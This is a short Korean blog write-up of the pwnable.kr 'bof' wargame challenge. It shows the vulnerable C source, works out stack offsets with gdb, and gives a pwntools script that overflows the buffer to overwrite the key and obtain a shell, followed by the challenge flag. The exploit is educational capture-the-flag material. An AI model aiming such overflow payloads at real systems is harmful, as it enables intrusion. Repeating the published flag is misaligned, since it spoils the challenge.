본문 바로가기

Pwnable/pwnable.kr

pwnable.kr wargame bof write-up

간단한 bof 문제이다.

바로 소스코드를 열어보자.

c
닫기
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ ​​char overflowme[32]; ​​printf("overflow me : "); ​​gets(overflowme); // smash me! ​​if(key == 0xcafebabe){ ​​​​system("/bin/sh"); ​​} ​​else{ ​​​​printf("Nah..\n"); ​​} } int main(int argc, char* argv[]){ ​​func(0xdeadbeef); ​​return 0; }

key가 0xcafebabe이면 쉘을 실행시켜준다.
입력은 overflowme 변수에 받기 때문에 key와 overflowme의 거리를 알면 bof를 할 수 있을 것이다.

gdb로 실행시켜보자.

두번째 함수 콜은 gets 함수를 호출하는 부분인데 여기에 overflowme가 인자로 들어가니까 overflowme는 ebp - 0x2c 위치에 있음을 알 수 있다.
그 아래에 ebp+0x8 위치와 0xcafebabe를 비교하니까 key는 ebp + 0x8에 위치하는 것을 알 수 있다.
bof를 위해 채워줘야 하는 문자의 수는 0x2c + 0x8 = 0x34(52)이다.
이제 페이로드를 짜 보자.

python
닫기
from pwn import * p = remote('pwnable.kr','9000') #p = process('./bof') payload = 'A' * 52 payload += '\xbe\xba\xfe\xca' p.sendline(payload) p.interactive()

이제 실행시켜보자.

성공적으로 쉘을 획득했다.

FLAG : daddy, I just pwned a buFFer :)

'Pwnable > pwnable.kr' 카테고리의 다른 글